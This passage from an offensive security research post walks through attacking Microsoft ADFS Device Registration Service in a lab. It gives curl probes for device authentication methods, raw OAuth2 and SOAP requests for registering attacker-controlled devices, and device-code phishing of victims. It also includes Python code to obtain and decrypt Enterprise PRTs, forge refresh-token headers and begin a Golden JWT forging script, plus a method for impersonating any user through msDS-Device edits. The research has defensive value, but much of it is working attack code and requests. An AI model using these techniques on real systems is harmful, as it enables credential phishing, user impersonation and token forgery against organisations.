“Windows Authentication” is the NTLM/Kerberos WIA methods that you’ve no doubt tried to relay to in the past, and is only supported on the Intranet.

For DRS to function properly, there is the “Device Authentication” option, which needs to be enabled and be accessible via the Extranet/Intranet zones you have access to.

Device Authentication requires DRS to be enabled, and it isn’t enabled by default unfortunately for us attackers. So again, you are much more likely to see this in either legacy environments, or environments using Hybrid Join.

There are multiple ways that Device Authentication can function depending on the configuration. In ADFS ≥ 2016, we have:

  • ClientTLS
  • PRT
  • PKeyAuth

The method of Device Authentication is controlled in part by the Set-AdfsGlobalAuthenticationPolicy PowerShell commandlet:

Set-AdfsGlobalAuthenticationPolicy –DeviceAuthenticationMethod All

Out of the box, ADFS 2012 only supports ClientTLS. However ADFS ≥ 2016 uses SignedToken

So how can we enumerate a tenant to determine the enabled device authentication method? Well it’s mostly a game of elimination. If we want to see if ClientTLS Device Authentication is enabled for ADFS without having access to the configuration, a curl request for the endpoint with the trace argument would reveal this:

curl -k 'https://adfs.lab.local/adfs/ls/idpinitiatedsignon.aspx?client-request-id=77de249e-f9b5-4921-c301-0080000000b9' -v -X POST -d 'SignInIdpSite=SignInIdpSite&SignInSubmit=Sign+in&SingleSignOut=SingleSignOut' --trace out.txt

We’re looking for MS-Organization-Access as the CA in the client certificate request (13). If you see this, then ClientTLS Device Authentication is enabled for the network endpoint you are requesting. And this means if we have the appropriate Device Authentication certificate, we can authenticate to ADFS.

If we wanted to check if PKeyAuth is enabled, we need to make a request with the ;PKeyAuth/1.0 string within the User-Agent string:

curl -k 'https://adfs.lab.local/adfs/ls/idpinitiatedsignon.aspx?client-request-id=77de249e-f9b5-4921-c301-0080000000b1' -v -X POST -d 'SignInIdpSite=SignInIdpSite&SignInSubmit=Sign+in&SingleSignOut=SingleSignOut' --user-agent "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0);PKeyAuth/1.0

If the response comes back with a 302 to urn:http-auth:PKeyAuth then we know that PKeyAuth is used:

< HTTP/1.1 302 Found
< Content-Length: 0
< Content-Type: text/html; charset=utf-8
< Location: urn:http-auth:PKeyAuth?SubmitUrl=https%3a%2f%2fadfs.lab.local%3a443%2fadfs%2fls%2fidpinitiatedsignon.aspx%3fclient-request-id%3d77de249e-f9b5-4921-c301-0080000000b1&nonce=P5180krdKaElqhmYzkkNYw&Version=1.0&Context=4e5a62d9-12f7-4898-9a4e-f3cd11c65a1a&CertAutho
rities=OU%253d82dbaca4-3e81-46ca-9c73-0950c1eaca97%252cCN%253dMS-Organization-Access%2b%252cDC%253dwindows%2b%252cDC%253dnet%2b&client-request-id=77de249e-f9b5-4921-c301-0080000000b1

If neither of the above are true, then PRT authentication is in use. We’ll review this option further in the post.

Now that we understand how Device Authentication works, the next question is… where is all this key, certificate, authentication information stored?

msDS-Device

You may have come across the msDS-Device LDAP class, which lives in the CN=RegisteredDevices,DC=domain,DC=com container:

The msDS-Device object is a representation of a registered device. Unlike a Computer object, it isn’t a security principal, but it does contain a number of familiar attributes, such as:

  • altSecurityIdentities
  • msDS-KeyCredentialLink

As the msDS-Device isn’t a security principal, things like “Shadow Credentials” aren’t going to work as there is no identity associated with the device. So what is being stored here?

In the case of msDS-Device, the altSecurityIdentities field is used to store the public key of the Device Authentication certificate we generate during Device Registration.

There is also another important field, msDS-RegisteredOwner which is associated with the SID of the user account used to create the device registration along with msDS-RegisteredUsers:

This is where things diverge slightly depending on the authentication method we commented on above. If ClientTLS is in use, and we authenticate with the certificate used during device registration, the user account that you are authenticated to ADFS as will be the SID of these fields. This isn’t the case if SignedToken is used, so I believe that this is an example of an older version of ADFS device registration before PRT’s become the norm.

This also means that if during your assessment you find yourself with write permission over a msDS-Device object (and Device Authentication is enabled with ClientTLS), you have the ability to authenticate to ADFS as any principal by updating both the msDS-RegisteredOwner and msDS-RegisteredUsers fields to point to the SID of any user.

As I mentioned above, the msDS-Device is created and fields are populated during Device Registration. Let’s take a look at the authentication process for how a device actually becomes registered.

Creating a DRS Access Token

To authenticate against DRS, we need an OAuth2 access token. The DRS client ID we observed in the disassembly at the start of the post is “public”, meaning that there aren’t any OAuth2 secrets to know when making a request.

We can validate this by using the Get-AdfsClient commandlet:

We can also see the supported RedirectUri required for authentication.

So if we are in a scenario where we have valid credentials for an account on ADFS, we can start the DRS client OAuth2 flow with:

GET /adfs/oauth2/authorize?response_type=code&
client_id=dd762716-544d-4aeb-a526-687b73838a22&
resource=urn:ms-drs:434DF4A9-3CF2-4C1D-917E-2CD2B72F515A&
redirect_uri=ms-app://windows.immersivecontrolpanel/ HTTP/1.1
Host: adfs.lab.local

This will start the authorisation code flow and, depending on the Authentication Methods enabled, we can login with credentials to create a OAuth2 auth code. If we successfully authenticate, we’ll see the code parameter passed back to our redirect URI:

This code is then exchanged for an access token using:

POST /adfs/oauth2/token HTTP/1.1
Host: adfs.lab.local
User-Agent: Windows NT 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 536

grant_type=authorization_code&
code=eNSvPCotu0yaI4ttVB1WXA.Dn...&
client_id=dd762716-544d-4aeb-a526-687b73838a22&
redirect_uri=ms-app%3A%2F%2Fwindows.immersivecontrolpanel%2F

And hopefully, we get our Access Token back:

One important caveat here however is that the DRS service has the following authentication policy assigned:

This means that MFA is required if we are authenticating as a user account to ADFS (or we can authenticate as a Computer Account and bypass this, but this isn’t so useful at the moment).

So what happens if we hit this ACL? Well during authentication, we’ll see the following error:

Unfortunately if this access control policy is in place, this stops us in our tracks of attempting to create a msDS-Device using stolen credentials, unless…

DRS OAuth2 Client Support Device Code Flow

To be honest, the fact that the Device Code Flow even exists in ADFS was news to me, but it does. And it’s enabled for the DRS client by default. In fact it’s enabled for every OAuth2 client on ADFS by default, which should make things fun when assessing other OAuth2 integrations.

So how does this work? Well to initiate this flow for DRS, you would first make a call to /adfs/oauth2/devicecode with our client ID and resource:

POST /adfs/oauth2/devicecode HTTP/1.1
Host: adfs.lab.local
Content-Type: application/x-www-form-urlencoded
Content-Length: 103

client_id=dd762716-544d-4aeb-a526-687b73838a22&
resource=urn:ms-drs:434DF4A9-3CF2-4C1D-917E-2CD2B72F515A

This will return your usual OAuth2 device code information:

HTTP/1.1 200 OK
...

{
"device_code":"8uODMKe4OEGu4[...]8fG640TTMxOQ",
"expires_in":899,
"interval":5,
"message":"To sign in, use a web browser to open the page https:\\/\\/adfs.lab.local\\/adfs\\/oauth2\\/deviceauth and enter the code SYGTLXSGB to authenticate.",
"user_code":"SYGTLXSGB",
"verification_uri":"https:\\/\\/adfs.lab.local\\/adfs\\/oauth2\\/deviceauth",
"verification_uri_complete":"https:\\/\\/adfs.lab.local\\/adfs\\/oauth2\\/deviceauth?user_code=SYGTLXSGB&client-request-id=b08b3ca6-6a56-4cf3-1b00-0080000000e3",
"verification_url":"https:\\/\\/adfs.lab.local\\/adfs\\/oauth2\\/deviceauth"
}

You would then direct your victim to the URL indicated (you can also pre-fill the code with the user_code parameter)

https://adfs.lab.local/adfs/oauth2/deviceauth?user_code=SYGTLXSGB

When the user authenticates (and hopefully completes the required MFA steps to validate the ACL above), you retrieve the access_token by making the following call to /adfs/oauth2/token:

POST /adfs/oauth2/token HTTP/1.1
Host: adfs.lab.local
Content-Type: application/x-www-form-urlencoded
Content-Length: 587

client_id=dd762716-544d-4aeb-a526-687b73838a22&
device_code=8uODMKe4OEGu4Ku[...]cqx5rXGQ8MbNPM6J5iQ&
grant_type=urn%3Aietf%3Aparams%3Aoauth%3Agrant-type%3Adevice_code&
resource=urn:ms-drs:434DF4A9-3CF2-4C1D-917E-2CD2B72F515A

And with the access_token returned (and a refresh_token which we will need later), we have a authentication token scoped to the DRS service.

So once we have an Access Token, how do we turn this into a device registration?

DeviceEnrollmentWebService.svc

You may have seen earlier that DeviceEnrollmentWebService.svc was in the XML from the /EnrollmentServer/contract endpoint:

This web service can be used along with an Access Token for the urn:ms-drs:434DF4A9-3CF2-4C1D-917E-2CD2B72F515A resource to register a new msDS-Device resource.

The format of the SOAP request that we use to register a device using this endpoint is:

POST https://adfs.lab.local/EnrollmentServer/DeviceEnrollmentWebService.svc HTTP/1.1
Content-Type: application/soap+xml; charset=utf-8
...

<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://www.w3.org/2005/08/addressing" xmlns:u="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wst="http://docs.oasis-open.org/ws-sx/ws-trust/200512" xmlns:ac="http://schemas.xmlsoap.org/ws/2006/12/authorization">
<s:Header>
<a:Action s:mustUnderstand="1">http://schemas.microsoft.com/windows/pki/2009/01/enrollment/RST/wstep</a:Action>
<a:MessageID>urn:uuid:0d5a1441-5891-453b-becf-a2e5f6ea3749</a:MessageID>
<a:ReplyTo>
<a:Address>http://www.w3.org/2005/08/addressing/anonymous</a:Address>
</a:ReplyTo>
<a:To s:mustUnderstand="1">https://adfs.lab.local/EnrollmentServer/DeviceEnrollmentWebService.svc</a:To>
<wsse:Security s:mustUnderstand="1">
<wsse:BinarySecurityToken ValueType="urn:ietf:params:oauth:token-type:jwt" EncodingType="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Base64Binary">ZXlKMGVYQWlPaUpLVjFRaUxDSmhiR2Np[...]BoX3Jyck1xWjZNQQ==</wsse:BinarySecurityToken>
</wsse:Security>
</s:Header>
<s:Body>
<wst:RequestSecurityToken>
<wst:TokenType>http://schemas.microsoft.com/5.0.0.0/ConfigurationManager/Enrollment/DeviceEnrollmentToken</wst:TokenType>
<wst:RequestType>http://docs.oasis-open.org/ws-sx/ws-trust/200512/Issue</wst:RequestType>
<wsse:BinarySecurityToken ValueType="http://schemas.microsoft.com/windows/pki/2009/01/enrollment#PKCS10" EncodingType="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd#base64binary">MIICijCCAXICAQAwRTELMAkGA1UEBhMCQVUxEz[...]MXIJ7lClxV7</wsse:BinarySecurityToken>
<ac:AdditionalContext xmlns="http://schemas.xmlsoap.org/ws/2006/12/authorization">
<ac:ContextItem Name="DeviceType">
<ac:Value>Windows</ac:Value>
</ac:ContextItem>
<ac:ContextItem Name="ApplicationVersion">
<ac:Value>6.3.9600.0</ac:Value>
</ac:ContextItem>
<ac:ContextItem Name="DeviceDisplayName">
<ac:Value>testlabwin8</ac:Value>
</ac:ContextItem>
</ac:AdditionalContext>
</wst:RequestSecurityToken>
</s:Body>
</s:Envelope>

The important fields here are:

  • Header BinarySecurityToken - This is the base64 encoded access_token we retrieved during authentication
  • Body BinarySecurityToken - PKCS#10 encoded CSR generated by us for signing

When we make this request, we receive a response with a signed certificate:

HTTP/1.1 200 OK
Content-Length: 3866
Content-Type: application/soap+xml; charset=utf-8
Server: Microsoft-HTTPAPI/2.0
Strict-Transport-Security: max-age=31536000; includeSubDomains
Date: Sat, 14 Dec 2024 21:29:05 GMT

<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://www.w3.org/2005/08/addressing"><s:Header><a:Action s:mustUnderstand="1">http://schemas.microsoft.com/windows/pki/2009/01/enrollment/RSTRC/wstep</a:Action><a:RelatesTo>urn:uuid:0d5a1441-5891-453b-becf-a2e5f6ea3749</a:RelatesTo></s:Header><s:Body><RequestSecurityTokenResponseCollection xmlns="http://docs.oasis-open.org/ws-sx/ws-trust/200512"><RequestSecurityTokenResponse><TokenType>http://schemas.microsoft.com/5.0.0.0/ConfigurationManager/Enrollment/DeviceEnrollmentToken</TokenType><RequestedSecurityToken><BinarySecurityToken ValueType="http://schemas.microsoft.com/5.0.0.0/ConfigurationManager/Enrollment/DeviceEnrollmentProvisionDoc" EncodingType="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd#base64binary" xmlns="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd">PHdhcC1wcm92aXNpb25pbmdkb2MgdmVyc2lvbj0iMS4xIj4NCiAgPGNoYXJhY3RlcmlzdGljIHR5&#xD;
cGU9IkNlcnRpZmljYXRlU3RvcmUiPg0KICAgIDxjaGFyYWN0ZXJpc3RpYyB0eXBlPSJNeSI+DQog&#xD;
[...]
OERmUSswS25ENjY3aTZvWlk0RTY3eGhCYVA3dG1Sb24xR0xucENYQzBzeGoiIC8+DQogICAgICAg&#xD;
IDwvY2hhcmFjdGVyaXN0aWM+DQogICAgICA8L2NoYXJhY3RlcmlzdGljPg0KICAgIDwvY2hhcmFj&#xD;
dGVyaXN0aWM+DQogIDwvY2hhcmFjdGVyaXN0aWM+DQo8L3dhcC1wcm92aXNpb25pbmdkb2M+</BinarySecurityToken></RequestedSecurityToken><RequestID xmlns="http://schemas.microsoft.com/windows/pki/2009/01/enrollment">0</RequestID><AdditionalContext xmlns="http://schemas.xmlsoap.org/ws/2006/12/authorization"><ContextItem Name="UserPrincipalName"><Value>itadmin@lab.local</Value></ContextItem></AdditionalContext></RequestSecurityTokenResponse></RequestSecurityTokenResponseCollection></s:Body></s:Envelope>

Unfortunately this isn’t going to be another ESC99 style attack as the CA used to sign the token is the ADFS internal CA rather than ADCS (I can read your mind). But we’ll need this when using Device Authentication later.

If we take this base64 encoded certificate and decode it we get something like this:

<wap-provisioningdoc version="1.1">
<characteristic type="CertificateStore">
<characteristic type="My">
<characteristic type="User">
<characteristic type="E2246E3845E4928781128D6A4832B84EF1149FAF">
<parm name="EncodedCertificate" value="MIID/jCCAuagAwIBAgIQXXMccvjIsqdJ3Rd5smED[...]gDO1wJL3j" />
</characteristic>
</characteristic>
</characteristic>
</characteristic>
</wap-provisioningdoc>

We take the EncodedCertificate value and base64 decode this to generate our signed public key certificate. Usually it’s best to combine this with the private key into a PFX with something like:

openssl pkcs12 -export -out device_cert.pfx -inkey private_key.pem -in device_registration.crt

So once we have completed this SOAP request and we have our signed certificate, in Active Directory, we’ll find our new msDS-Device object:

If we are shooting for accessing ADFS using ClientTLS, this should be enough. However as we’ll see later on when looking at SignedToken, there are a few issues with this SOAP API method of creating a new msDS-Device. The big one for us is that the msDS-KeyCredentialLink attribute isn’t populated in AD (for anyone who has explored Entra ID before, you’ll likely know that this is required for the session transport key used during the PRT provisioning process).

As a side note, I “think” that this web service was actually used to support an earlier iteration of DRS, before Entra ID was so tightly integrated with Windows. During the Windows 8 days, DRS was a simpler method of generating certificates for device authentication and using ClientTLS, which makes sense as to why the msDS-KeyCredentialLink parameter was never used… but this is just a guess.

EnrollmentServer REST API

The second endpoint referenced in the /EnrollmentServer/contract endpoint is the /EnrollmentServer/device/ service:

Again this may look familiar as it’s a clone of the https://enterpriseregistration.windows.net/EnrollmentServer/device/ service used during Entra device registration.

This REST API is the more complete way to create a new msDS-Device as it allows us to provide values for the msDS-KeyCredentialLink (huge thanks to @DrAzureAD and the post “Deep-dive to Azure AD device join” which saved a lot of time and effort uncovering the structure of this request, you’re contributions to the infosec scene are always appreciated!):

POST https://adfs.lab.local/EnrollmentServer/device/?api-version=1.0 HTTP/1.1
Content-Type: application/soap+xml; charset=utf-8
User-Agent: dd762716-544d-4aeb-a526-687b73838a22
Host: adfs.lab.local
Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IkFZcS1lSE5wVHdmcnFxVHcwM3k0d3NJRTBHUSIsImtpZCI6IkFZcS1lSE5wVHdmcnFxVHcwM3k0d3NJRTBHUSJ9.eyJhdWQiOiJ1cm46bXMtZHJzOjQzNERGNEE5LTNDRjItNEMxRC05MTdFLTJDRDJCNzJGNTE1QSIsImlzcyI6Imh0dHA6Ly9hZGZzLmxhYi5sb2NhbC9hZGZzL3NlcnZpY2VzL3RydXN0IiwiaWF0IjoxNzM0MzA2NDc1LCJuYmYiOjE3MzQzMDY0NzUsImV4cCI6MTczNDMxMDA3NSwiaHR0cDovL3NjaGVtYXMueG1sc29hcC5vcmcvd3MvMjAwNS8wNS9pZGVudGl0eS9jbGFpbXMvaW1wbGljaXR1cG4iOiJpdGFkbWluQGxhYi5sb2NhbCIsInJzIjoibm90ZXZhbHVhdGVkIiwidGhyb3R0bGVkIjoiZmFsc2UiLCJhbXAiOiJGb3Jtc0F1dGhlbnRpY2F0aW9uIiwiYXV0aF90aW1lIjoiMjAyNC0xMi0xNVQyMzo0Nzo1NC44NjdaIiwiYXV0aG1ldGhvZCI6InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDphYzpjbGFzc2VzOlBhc3N3b3JkUHJvdGVjdGVkVHJhbnNwb3J0IiwiYW5jaG9yIjoid2luYWNjb3VudG5hbWUiLCJ1cG4iOiJpdGFkbWluQGxhYi5sb2NhbCIsInByaW1hcnlzaWQiOiJTLTEtNS0yMS0zODU5Mjg2ODc4LTI4NTc1NjM3MjQtMTA1OTM5NjI5Ny0xMDAwIiwidW5pcXVlX25hbWUiOiJsYWJcXGl0YWRtaW4iLCJ3aW5hY2NvdW50bmFtZSI6ImxhYlxcaXRhZG1pbiIsImFtciI6InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDphYzpjbGFzc2VzOlBhc3N3b3JkUHJvdGVjdGVkVHJhbnNwb3J0IiwiYXBwaWQiOiJkZDc2MjcxNi01NDRkLTRhZWItYTUyNi02ODdiNzM4MzhhMjIiLCJhcHB0eXBlIjoiUHVibGljIiwiY2xpZW50dXNlcmFnZW50IjoiTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzEzMS4wLjY3NzguODYgU2FmYXJpLzUzNy4zNiIsImVuZHBvaW50cGF0aCI6Ii9hZGZzL29hdXRoMi9hdXRob3JpemUiLCJpbnNpZGVjb3JwbmV0d29yayI6ImZhbHNlIiwicHJveHkiOiJBREZTUHJveHkiLCJjbGllbnRyZXFpZCI6IjEwMWNjYzI3LTMwNDgtNGJlMi0wYTAwLTAwODAwMDAwMDBlMyIsImNsaWVudGlwIjoiMTkyLjE2OC4xMzAuMTAiLCJmb3J3YXJkZWRjbGllbnRpcCI6IjEwMC43Ny45NC41MSIsInVzZXJpcCI6IjEwMC43Ny45NC41MSIsImh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vYXV0aG9yaXphdGlvbi9jbGFpbXMvUGVybWl0RGV2aWNlUmVnaXN0cmF0aW9uIjoidHJ1ZSIsImh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vYXV0aG9yaXphdGlvbi9jbGFpbXMvZGV2aWNlcmVnaXN0cmF0aW9ucXVvdGEiOiIyMTQ3NDgzNjQ3IiwiaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS9hdXRob3JpemF0aW9uL2NsYWltcy9hY2NvdW50U3RvcmUiOiJBRCBBVVRIT1JJVFkiLCJ2ZXIiOiIxLjAifQ.UuHeR9KWONFQnxC0hnppid1HgCA5dZZ9Xw9RCZn9bTHkBUZzJ_fquD19z2OWJhQOg1VBr4yVlYTHwqJELmYEiCsSXX5iMkSK0GMoZywPP4N1yvgtgEpnYHxYSKhM3M7tj1s2HfsWxTAS7d6dm95y3rujIZOeWghN9XxAX6rn2x7ZRFvhffB3XGbTEiK9-WByawJtA0yjr5bg2zzykbPPFlA9j1M5ql94K5tvcP0zXA5i74n5I55KgnEO-Ba9gWu0FTBo0R4Gjuwfu6vFQ-GYCeWSVQjTeVg66G3IGB5JE8O2Ko94XQ-IGy5aNj0sdcDE0Zw3cV9PaVb7n6QDy0mAig
Content-Length: 1792
Cache-Control: no-cache

{
"TransportKey": "UlNBMQAIAAADA[...]Gckayg68kIQ9iGtkxN52fQ==",
"JoinType":4,
"DeviceDisplayName": "New Test Device",
"OSVersion": "Windows 6.1.2.3",
"CertificateRequest": {
"Type": "pkcs10",
"Data": "MIICijCCAXICAm6G5l[...]B1KAjEaLjcav/sOBzZhLRxoMXIJ7lClxV7"
},
"TargetDomain": "lab.local",
"DeviceType": "x64",
"Attributes": {
"ReuseDevice": true,
"ReturnClientSid": true,
"SharedDevice": false
}
}

We authenticate to this service using a more traditional Authorization header, providing our DRS Access Token as a bearer.

Again a few additional things to note with the body of this request. The first is the JoinType. This can be set to one of the following values (not all are actually supported unfortunately):

namespace Microsoft.DeviceRegistration.Entities
{
public enum JoinType
{
DeviceJoin, // 0
DeviceUserJoin, // 1
DeviceRenew, // 2
DeviceUserRenew, // 3
WorkplaceJoin, // 4
WorkplaceRenew, // 5
DomainJoin, // 6
UnJoin // 7
}
}

There is now also the TransportKey value which was missing in the earlier service call.

The response to this is again the signed certificate:

HTTP/1.1 200 OK
Content-Length: 1552
Content-Type: application/json
...

{
"Certificate":{
"Thumbprint":"C367257B04D86A371A04E58256CE96687F91CBB4",
"RawBody":"MIID/jCCAuagA[...]oQz0JVEdcZBfPhPAadyLFvjS6KiieWwQwsop2+R"
},
"User":{
"Upn":"itadmin@lab.local"
},
"MembershipChanges":[
{
"LocalSID":"S-1-5-32-544",
"AddSIDs":[]
}]
}

Again this results in a new msDS-Device object, but now with the msDS-KeyCredentialLink attribute populated to our TransportKey value:

So now we can enrol our devices, how do we actually go about authenticating ourselves using the Device Authentication methods explored earlier?

Well we’ve already discussed ClientTLS quite a bit in this post, which is your basic Certificate Authentication (I usually just use Burp Suite for this):

But what about if ClientTLS isn’t in use?

Enterprise Primary Refresh Token

Another new discovery for me, was that Primary Refresh Tokens are supported on ADFS. And as we saw earlier, this is the default method of Device Authentication supported after ADFS 2016 as SignedToken.

This works mostly in the same way as Entra ID, so it’s essential that I give a massive shout out to @_dirkjan and his epic work in this area with ROADTools, blog posts and training. His work and sharing of knowledge provided a huge portion of examples and code to work with while looking at this on ADFS.

So first we need a nonce value which is requested from /adfs/oauth2/token:

POST https://adfs.lab.local/adfs/oauth2/token HTTP/1.1
Content-Type: application/soap+xml; charset=utf-8
User-Agent: dd762716-544d-4aeb-a526-687b73838a22
Host: adfs.lab.local
Content-Length: 24
Cache-Control: no-cache

grant_type=srv_challenge

The response from this call returns the nonce value:

HTTP/1.1 200 OK
...
{
"Nonce":"eyJWZXJzaW9uIjoxLCJFbmVVhzQU5[...]dHJ1ZX0"
}

Next we need to request the PRT. This is done by creating a JWT bearer token which is signed with our generated device certificate:

POST /adfs/oauth2/token HTTP/1.1
Host: adfs.lab.local
Content-Type: application/x-www-form-urlencoded
Content-Length: 7808

grant_type=urn%3Aietf%3Aparams%3Aoauth%3Agrant-type%3Ajwt-bearer&
request=eyJhbGciOiJSUzI1NiIsI...

The required content of this JWT are documented in MS-OAPXBC. As with Entra ID, we can authenticate our user within the JWT using one of three methods:

  • Username / Password
  • Refresh Token
  • Signed JWT

For our purpose we’ll use a Refresh Token as we already have this from the earlier Device Code authentication flow:

def generate_prt_request(client_id, nonce, device_cert, grant_type, refresh_token="", username="", password=""):

header = {
"alg": "RS256",
"x5c": generate_x5c(device_cert)
}

payload = {
"client_id": client_id,
"scope": "aza openid",
"request_nonce": nonce
}

payload["grant_type"] = "refresh_token"
payload["refresh_token"] = refresh_token

token = jwt.encode(payload, private_key, algorithm="RS256", headers=header)

return token

And if everything goes well, we’ll get a PRT in the response:

{
"token_type": "pop",
"refresh_token": "SlZhQk16OQPrDS_J...",
"refresh_token_expires_in": 1209600,
"session_key_jwe": "eyJlbmMiOiJBMjU2R0NNIiwiYWxnIjoiUlNBLU9B...",
"id_token": "eyJ0eXAiOiJKV1QiLCJh..."
}

The session_key_jwe field is needed for exchanging the PRT for an Access Token, which is in turn encrypted using the msDS-KeyCredentialLink value which we added earlier during Device Registration.

To decrypt these values, we can use the decrypt_jwe_with_transport_key from ROADTools code which looks something like:

def decrypt_session_token(encrypted_jwt, encrypted_prt, encryption_key):

parts = encrypted_jwt.split(".")
body = parts[1]
body = body + "=" * (4 - len(body) % 4)

encrypted_key = base64.urlsafe_b64decode(body+('='*(len(body)%4)))
session_token = encryption_key.decrypt(encrypted_key, apadding.OAEP(apadding.MGF1(hashes.SHA1()), hashes.SHA1(), None))

return session_token

Once we have the PRT and the session key, we then have a few options to use it. The first is the usual PRT to Access Token for a resource. This needs a JWT signed with the session token to be generated:

def request_access_token(hostname, client_id, scopes, resource, eprt, signing_key, ctx):

token_url = f"https://{hostname}/adfs/oauth2/token"

header = {
"alg": "HS256",
"ctx": base64.b64encode(ctx).decode("utf-8"),
"kdf_ver": 1
}

body = {
"scope": " ".join(scopes),
"client_id": client_id,
"resource": resource,
"iat": datetime.datetime.utcnow(),
"exp": datetime.datetime.utcnow() + datetime.timedelta(days=1),
"grant_type": "refresh_token",
"refresh_token": eprt
}

token = jwt.encode(body, signing_key, algorithm="HS256", headers=header)

response = requests.post(token_url, data="grant_type=urn:ietf:params:oauth:grant-type:jwt-bearer&request=" + token, verify=False)

The response to this is (exactly like their Entra ID counterparts) encrypted using JWE and need to be decrypted. The code for this already exists in ROADTools decrypt_auth_response_derivedkey function so we can use this to cobble together:

def decrypt_prt(prt, signing_key, ctx):

parts = prt.split(".")

header, enckey, iv, ciphertext, authtag = prt.split('.')
header_decoded = base64.urlsafe_b64decode(header + '=' * (4 - len(header) % 4))

jwe_header = json.loads(header_decoded)
iv = base64.urlsafe_b64decode(iv + '=' * (4 - len(iv) % 4))
ciphertext = base64.urlsafe_b64decode(ciphertext + '=' * (4 - len(ciphertext) % 4))
authtag = base64.urlsafe_b64decode(authtag + '=' * (4 - len(authtag) % 4))

if jwe_header["enc"] == "A256GCM" and len(iv) == 12:
aesgcm = AESGCM(signing_key)
depadded_data = aesgcm.decrypt(iv, ciphertext + authtag, header.encode("utf-8"))
token = json.loads(depadded_data)
else:
cipher = Cipher(algorithms.AES(signing_key), modes.CBC(iv))
decryptor = cipher.decryptor()
decrypted_data = decryptor.update(ciphertext) + decryptor.finalize()
unpadder = padding.PKCS7(128).unpadder()
depadded_data = unpadder.update(decrypted_data) + unpadder.finalize()
token = json.loads(depadded_data)

return token

The second use case is the familiar x-ms-RefreshTokenCredential header, which can be used to login to ADFS directly (useful for things like accessing /adfs/ls/idpinitiatedsignon.aspx):

def generate_prt_header(hostname, client_id, eprt, signing_key, ctx):

token_url = f"https://{hostname}/adfs/oauth2/token"

try:
response = requests.post(token_url, data="grant_type=srv_challenge", verify=False)
nonce = response.json()["Nonce"]
except Exception as e:
print("Failed to get nonce: " + str(e))
sys.exit(1)

header = {
"alg": "HS256",
"ctx": base64.b64encode(ctx).decode("utf-8"),
"kdf_ver": 1
}

body = {
"refresh_token": eprt,
"request_nonce": nonce
}

token = jwt.encode(body, signing_key, algorithm="HS256", headers=header)

print("x-ms-RefreshTokenCredential: {}".format(token))

If we inject this token to the header of a request to /adfs/ls/idpinitiatedsignon.aspx, we’ll see that we can be logged in:

To make this all a bit easier when playing around, I’ve created a few Python scripts which can be found at https://github.com/xpn/adfstoolkit:

  • register_device.py - Performs DRS registration to create msDS-Device
  • access_token.py - Requests Access Token from PRT
  • eprt.py - Generates a new Enterprise PRT

Then Along Came Azure Hybrid Join

So we have all of this DRS functionality.. what happens if the environment we are assessing uses Hybrid Join to Entra ID? In that case, we actually find that DRS turns itself off as we can see in the disassembly of ADFS:

But while this turns off the DRS HTTP services, it still allows Device Authentication. But why? Wouldn’t it makes sense to disable all device registration functionality? Well not quite, as Entra ID still supports ADFS Device Authentication in the form of Device Writeback.

Entra Connect Device Writeback

If Device Writeback has been enabled during the rollout of Entra Connect, msDS-Device objects are synced with their Entra ID device object counterparts.

In Entra Connect we see the option to enable Device Writeback:

When a new device is registered in Entra ID, we see that the ID is written to the CN=RegisteredDevices container exactly the same as our previous DRS registration examples, with the difference that the MSOL_ account will be the owner of the object rather than the ADFS service account:

And with the many attacks possible against Entra ID, this can provide an avenue to migrate your access to ADFS using the methods outlined in the post.

So with that said, let’s take a quick recap of the attack paths we’ve passed on the way to this point:

  1. If an organisation has DRS enabled, and doesn’t have Hybrid Join in the Service Connection Point LDAP entry, you can potentially phish using Device Code OAuth2 flow for access to ADFS.
  2. If an organisation has DRS enabled, but has enabled Hybrid Join in the Service Connection Point LDAP entry, DRS web services are disabled, but Device Writeback can provide a method of accessing ADFS if a new Entra ID device registration is performed.
  3. Regardless, if ADFS uses OAuth2, Device Code auth is likely enabled, so again, phishing can be used to target other application integrations.
  4. And if we can control a msDS-Device and Device Authentication is enabled, we can authenticate to ADFS as any user by modifying msDS-RegisteredOwner and msDS-RegisteredUsers and using a device certificate

Let’s finish things off by looking at the concept of a Golden JWT.

Golden JWT

This is similar to Golden SAML in that if we have the correct signing key, we can forge the appropriate JWT’s for third-party integrations.

Let’s use the previous ClaimsXRay lab that we previously setup to target:

As we see during the happy flow, the claims in the token are reflected back to us:

Now let’s see if we can spoof the claims in the JWT! If we analyse the contents of an existing access token, we get our hint about what is being used to sign the JWT:

{
"typ": "JWT",
"alg": "RS256",
"x5t": "AYq-eHNpTwfrqqTw03y4wsIE0GQ",
"kid": "AYq-eHNpTwfrqqTw03y4wsIE0GQ"
}

The x5t header value is the thumbprint of the certificate used to sign. Decoding this we see:

If we look at the signing certificate for our ADFS instance:

This means that the same certificate we’ve been dumping for Golden SAML is also used for JWT signing, which makes life easier for us as the tooling and techniques for dumping this is already available here.

If we use the private key, we can craft a simple Python script to generate a new JWT with any claims we want:

import jwt
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import padding
from cryptography.x509 import load_pem_x509_certificate
import base64
import sys
import json
import hashlib
import time

def generate_kid(cert):
